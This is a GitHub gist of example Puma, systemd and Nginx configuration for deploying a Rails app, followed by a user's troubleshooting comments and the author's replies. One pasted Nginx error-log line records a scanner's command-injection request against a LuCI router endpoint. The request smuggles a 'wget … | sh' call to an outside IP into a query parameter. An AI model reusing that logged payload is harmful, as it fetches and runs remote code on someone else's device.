Skip to content

Instantly share code, notes, and snippets.

@davidteren
Last active July 8, 2024 16:15
Show Gist options
  • Save davidteren/c2f9cc0d8781f68f3d00cdb67f8090e2 to your computer and use it in GitHub Desktop.
Save davidteren/c2f9cc0d8781f68f3d00cdb67f8090e2 to your computer and use it in GitHub Desktop.
Example setup for Puma with Nginx in a Rails app

In the apps config/puma.rb file:

Change to match your CPU core count
# Check using this on the server => grep -c processor /proc/cpuinfo
workers 4

# Min and Max threads per worker
threads 1, 6
app_dir    = File.expand_path('../..', __FILE__)
shared_dir = "#{app_dir}/shared"

# Default to production
rails_env = ENV['RAILS_ENV'] || 'production'
environment rails_env

# Set up socket location
bind "unix://#{shared_dir}/sockets/puma.sock"

# Logging
stdout_redirect "#{shared_dir}/log/puma.stdout.log", "#{shared_dir}/log/puma.stderr.log", true

# Set master PID and state locations
pidfile "#{shared_dir}/pids/puma.pid"
state_path "#{shared_dir}/pids/puma.state"
activate_control_app

on_worker_boot do
  require 'active_record'
  ActiveRecord::Base.connection.disconnect! rescue ActiveRecord::ConnectionNotEstablished
  ActiveRecord::Base.establish_connection(YAML.load_file("#{app_dir}/config/database.yml")[rails_env])
end

In the /etc/systemd/system/puma.service file

#Modify the path to the app directory and the user and group. 
[Unit]
Description=Puma HTTP Server
After=network.target
# Uncomment for socket activation (see below)
# Requires=puma.socket
[Service]
# Foreground process (do not use --daemon in ExecStart or config.rb)
Type=simple
# Preferably configure a non-privileged user
User=deploy
Group=deploy
# Specify the path to your puma application root
WorkingDirectory=/home/deploy/app-name
# Helpful for debugging socket activation, etc.
# Environment=PUMA_DEBUG=1
# EnvironmentFile=/home/deploy/app-name/.env
# The command to start Puma
# ExecStart=/sbin/puma -b tcp://0.0.0.0:9292 -b ssl://0.0.0.0:9293?key=key.pem&cert=cert.pem
# ExecStart=/usr/local/bin/bundle exec --keep-file-descriptors puma -e production
# ExecStart=/usr/local/bin/puma -C /home/deploy/app-name/config/puma.rb
ExecStart=/home/deploy/.rbenv/shims/bundle exec puma -e production -C ./config/puma.rb config.ru
PIDFile=/home/deploy/app-name/shared/tmp/pids/puma.pid
Restart=always
[Install]
WantedBy=multi-user.target

In the /etc/nginx/sites-enabled/defaultfile

upstream app {
  # Path to Puma SOCK file, as defined previously
  server unix:/home/deploy/app-name/shared/sockets/puma.sock fail_timeout=0;
}
server {
  listen 80;
  server_name localhost;
  root /home/deploy/app-name/public;
  try_files $uri/index.html $uri @app;
  location @app {
    proxy_pass http://app;
    proxy_set_header X-Forwarded-For \$proxy_add_x_forwarded_for;

    # The follow resulted in a 422 unprocessible entity being returned after a login.
    # Changing from \$http_host to $host fixed the issue.
    # proxy_set_header Host \$http_host;
    proxy_set_header Host $host;

    proxy_redirect off;
  }
  error_page 500 502 503 504 /500.html;
  client_max_body_size 4G;
  keepalive_timeout 10;
  
  # Other rules & directives....

}
@aashish
Copy link

aashish commented May 21, 2024

Hi @davidteren
Was setting up Nginx/Puma/Rails on a VPS Ubuntu 20.x version
Configured Nginx and is running
Configured Puma and is running
When I try the domain from browser only default static index page is loaded
Dynamic pages are not loading
Can you please suggest if anything missing

Thank you
Aashish

@aashish
Copy link

aashish commented May 21, 2024

The following is nginx configuration. Seems only Static index page with path /var/www/yourapp/current/public/index.html is being loaded

upstream yourapp {
  server unix:///var/www/yourapp/shared/sockets/puma.sock;
}

server {
  listen 80;
  server_name yourapp.com;

  root /var/www/yourapp/current/public;

  location / {
    try_files $uri/index.html $uri @yourapp;
  }

  location @yourapp {
    proxy_pass http://yourapp;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header Host $http_host;
    proxy_redirect off;
  }

  location ~* \.(jpg|jpeg|png|gif|ico|css|js)$ {
    expires max;
    add_header Cache-Control public;
  }

  error_page 500 502 503 504 /500.html;
  client_max_body_size 4G;
  keepalive_timeout 10;
}
root@vps:~# 

@davidteren
Copy link
Author

Hey @aashish, it may be that nginx is not seeing the applications puma.sock
Have you checked if it's in the extpeced path?

Also check the nginx logs. I think they are in var/log/nginx/error.log

@davidteren
Copy link
Author

Have considered using Kamal?
Deploying a Rails app with Kamal

@aashish
Copy link

aashish commented May 21, 2024

Seems Puma started without errors

May 21 18:04:24 vps puma[89544]: [89544] Puma starting in cluster mode...
May 21 18:04:24 vps puma[89544]: [89544] * Version 3.11.4 (ruby 2.4.1-p111), codename: Love Song
May 21 18:04:24 vps puma[89544]: [89544] * Min threads: 1, max threads: 6
May 21 18:04:24 vps puma[89544]: [89544] * Environment: production
May 21 18:04:24 vps puma[89544]: [89544] * Process workers: 4
May 21 18:04:24 vps puma[89544]: [89544] * Phased restart available
May 21 18:04:24 vps puma[89544]: [89544] * Listening on unix:///var/www/yourapp/shared/sockets/puma.sock
May 21 18:04:24 vps puma[89544]: [89544] Use Ctrl-C to stop
root@vps:~# 

Nginx error logs

2024/05/21 17:58:26 [error] 85534#85534: *39 connect() to unix:///var/www/yourapp/shared/sockets/puma.sock failed (111: Connection refused) while connecting to upstream, client: 31.220.1.83, server: yourapp.com, request: "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103.146.23.249%2Ft+-O-+|+sh%60) HTTP/1.1", upstream: "http://unix:///var/www/yourapp/shared/sockets/puma.sock:/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+http%3A%2F%2F103.146.23.249%2Ft+-O-+|+sh%60)", host: "xxx.xxx.xxx.xxx:80"

@aashish
Copy link

aashish commented May 21, 2024

Have considered using Kamal? Deploying a Rails app with Kamal

Seems Kamal is for Docker container
Currently have VPS with Ubuntu

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment